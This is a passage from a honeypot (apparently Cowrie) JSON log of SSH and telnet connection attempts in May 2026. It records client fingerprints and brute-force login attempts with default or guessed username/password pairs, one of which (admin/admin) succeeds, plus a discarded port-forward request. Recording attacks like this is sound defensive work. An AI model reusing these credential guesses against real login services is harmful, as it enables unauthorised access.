lman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:23.788758Z","src_ip":"87.251.64.176","session":"3304e79c7122","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:24.078085Z","src_ip":"87.251.64.176","session":"3304e79c7122","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:24.177797Z","session":"3304e79c7122","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:24.279474Z","src_ip":"87.251.64.176","session":"3304e79c7122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:24.378763Z","src_ip":"87.251.64.176","session":"3304e79c7122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60408,"dst_ip":"10.17.0.5","dst_port":22,"session":"271083fc10b4","protocol":"ssh","message":"New connection: 80.94.92.186:60408 (10.17.0.5:22) [session: 271083fc10b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:43.713224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:43.768890Z","src_ip":"80.94.92.186","session":"271083fc10b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:43.936668Z","src_ip":"80.94.92.186","session":"271083fc10b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":57916,"dst_ip":"159.203.135.109","dst_port":22,"session":"53595ddc6154","protocol":"ssh","message":"New connection: 103.91.246.101:57916 (159.203.135.109:22) [session: 53595ddc6154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:44.902773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:44.908455Z","src_ip":"103.91.246.101","session":"53595ddc6154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:44.935659Z","src_ip":"80.94.92.186","session":"271083fc10b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:45.146450Z","src_ip":"103.91.246.101","session":"53595ddc6154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:46.093074Z","src_ip":"80.94.92.186","session":"271083fc10b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass","message":"login attempt [postgres/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:46.127699Z","src_ip":"103.91.246.101","session":"53595ddc6154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:47.369570Z","src_ip":"103.91.246.101","session":"53595ddc6154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":51548,"dst_ip":"10.17.0.5","dst_port":22,"session":"db8af87384fe","protocol":"ssh","message":"New connection: 2.57.121.25:51548 (10.17.0.5:22) [session: db8af87384fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:06.593507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:06.598114Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:06.697252Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26081982","message":"login attempt [user/26081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:07.170084Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26071981","message":"login attempt [user/26071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:08.273549Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26061993","message":"login attempt [user/26061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:09.375376Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26051981","message":"login attempt [user/26051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:10.478340Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"260190","message":"login attempt [user/260190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:11.580134Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:12.682336Z","src_ip":"2.57.121.25","session":"db8af87384fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd30eaa7be7d","protocol":"ssh","message":"New connection: 103.91.246.101:46710 (159.203.135.109:22) [session: cd30eaa7be7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:43.913333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:43.918580Z","src_ip":"103.91.246.101","session":"cd30eaa7be7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:44.142015Z","src_ip":"103.91.246.101","session":"cd30eaa7be7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123123123","message":"login attempt [ubuntu/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:45.065836Z","src_ip":"103.91.246.101","session":"cd30eaa7be7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:46.292378Z","src_ip":"103.91.246.101","session":"cd30eaa7be7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.81.156.31","src_port":64829,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9c5a0fde6c","protocol":"telnet","message":"New connection: 170.81.156.31:64829 (159.203.135.109:23) [session: df9c5a0fde6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:26:55.927311Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":9717,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bdea4008922","protocol":"ssh","message":"New connection: 84.239.42.8:9717 (159.203.135.109:22) [session: 2bdea4008922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:01.464526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:01.471417Z","src_ip":"84.239.42.8","session":"2bdea4008922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:01.600936Z","src_ip":"84.239.42.8","session":"2bdea4008922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"api","password":"api","message":"login attempt [api/api] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:02.110508Z","src_ip":"84.239.42.8","session":"2bdea4008922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:03.242867Z","src_ip":"84.239.42.8","session":"2bdea4008922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.076480388641357,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:10.003671Z","src_ip":"170.81.156.31","session":"df9c5a0fde6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.61.126.212","src_port":44072,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a7186e1e0ff","protocol":"telnet","message":"New connection: 20.61.126.212:44072 (159.203.135.109:23) [session: 3a7186e1e0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:28.140468Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:28.705729Z","src_ip":"20.61.126.212","session":"3a7186e1e0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8538389205932617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:28.994037Z","src_ip":"20.61.126.212","session":"3a7186e1e0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":55428,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d46778de30a","protocol":"ssh","message":"New connection: 103.91.246.101:55428 (159.203.135.109:22) [session: 0d46778de30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:43.557371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:43.569282Z","src_ip":"103.91.246.101","session":"0d46778de30a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:43.790028Z","src_ip":"103.91.246.101","session":"0d46778de30a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2019","message":"login attempt [root/admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:44.706474Z","src_ip":"103.91.246.101","session":"0d46778de30a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:27:45.935234Z","src_ip":"103.91.246.101","session":"0d46778de30a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":45586,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8bd2338b24b","protocol":"ssh","message":"New connection: 103.91.246.101:45586 (159.203.135.109:22) [session: f8bd2338b24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:44.704050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:44.709249Z","src_ip":"103.91.246.101","session":"f8bd2338b24b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed2551